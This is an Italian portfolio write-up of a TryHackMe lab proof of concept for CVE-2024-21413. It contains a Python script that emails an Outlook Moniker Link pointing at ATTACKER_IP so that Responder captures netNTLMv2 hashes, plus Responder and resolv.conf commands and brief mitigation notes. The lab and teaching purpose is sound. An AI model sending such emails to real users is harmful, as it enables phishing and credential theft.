Exploit email Moniker Link-CVE-2024-21413-Module — Documentazione

Panoramica: Una PoC pratica che dimostra l'uso di un Moniker Link in un'email HTML per attivare una connessione SMB da Outlook, consentendo di catturare l'hash netNTLMv2 della vittima tramite Responder. Questa dimostra competenze pratiche in penetration testing, scripting e analisi dei protocolli di rete.

Competenze Chiave Dimostrate

• Scripting Python per l'invio automatizzato di email
• Comprensione dei protocolli SMB, NTLMv2, LLMNR, NBT-NS e MDNS
• Configurazione e monitoraggio di Responder per la cattura degli hash
• Risoluzione dei problemi di configurazione di rete/DNS su Linux
• Creazione di uno scenario di sicurezza offensiva controllato in ambiente di laboratorio

Flusso di Lavoro della PoC

1. Configura il listener SMB: Avvia Responder sulla macchina attaccante per monitorare i tentativi di autenticazione SMB.
2. Invia email creata ad hoc: Usa uno script Python per inviare un'email HTML con un Moniker Link (file://) che punta alla condivisione SMB dell'attaccante.
3. Cattura dell'hash: Quando la vittima clicca sul link, Outlook tenta di recuperare il file tramite SMB e Responder cattura l'hash netNTLMv2.

Script Exploit Minimo

# exploit.py (trimmed)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

sender = '[email protected]'
receiver = '[email protected]'
mailserver = '10.201.52.124'  # THM SMTP server
password = input('Enter attacker email password: ')

html = '<p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>'

msg = MIMEMultipart()
msg['Subject'] = 'CVE-2024-21413'
msg['From'] = formataddr(('CMNatic', sender))
msg['To'] = receiver
msg.attach(MIMEText(html, 'html'))

with smtplib.SMTP(mailserver, 25) as s:
    s.ehlo()
    s.login(sender, password)
    s.sendmail(sender, [receiver], msg.as_string())
    print('Email delivered')

Consiglio: Sostituisci ATTACKER_IP e mailserver prima di eseguire. Nel laboratorio TryHackMe, la password è attacker.

Esecuzione di Responder

responder -I ens5

Sostituisci ens5 con il nome della tua interfaccia di rete.

Risoluzione dei problemi di /etc/resolv.conf

A volte Responder fallisce a causa di symlink danneggiati in /etc/resolv.conf. Risolvi con:

rm -f /etc/resolv.conf
printf "nameserver 8.8.8.8
nameserver 1.1.1.1
" > /etc/resolv.conf
chmod 644 /etc/resolv.conf
cat /etc/resolv.conf

Competenze evidenziate: Risoluzione dei problemi su Linux, configurazione DNS e adattamento degli strumenti ad ambienti cloud/VM.

Screenshot dei Progressi

1. Errore / Problema resolv.conf:`

2. Correzione DNS applicata:

3. Script email Python:

4. Consegna dell'exploit:

5. Posta in arrivo della vittima:

6. Hash della vittima catturato:

Strumenti e Comandi Utilizzati

• Responder: listener SMB/LLMNR/NBT-NS/MDNS
• Python3: esecuzione dello script PoC email
• smtplib / email.mime: librerie Python per creare e inviare email
• Comandi shell Linux per la risoluzione dei problemi DNS

Competenze Apprese / Punti Salienti per il Portfolio

• Simulazione di attacchi di rete e flusso di lavoro di sfruttamento
• Automazione del vettore di ingegneria sociale (email Moniker Link)
• Cattura e analisi degli hash netNTLMv2
• Risoluzione dei problemi interdisciplinari: Python, networking, interazione Windows e Linux
• Documentazione e presentazione del flusso di lavoro per revisori tecnici

Note sulla Mitigazione e Difesa

• Disabilita il caricamento automatico di contenuti esterni in Outlook
• Blocca SMB in uscita verso reti non fidate
• Impone la firma SMB e politiche di autenticazione moderne sui client Windows

Attribuzione

Adattato dal laboratorio MonikerLink di TryHackMe e dalla PoC originale di CMNatic (GitHub)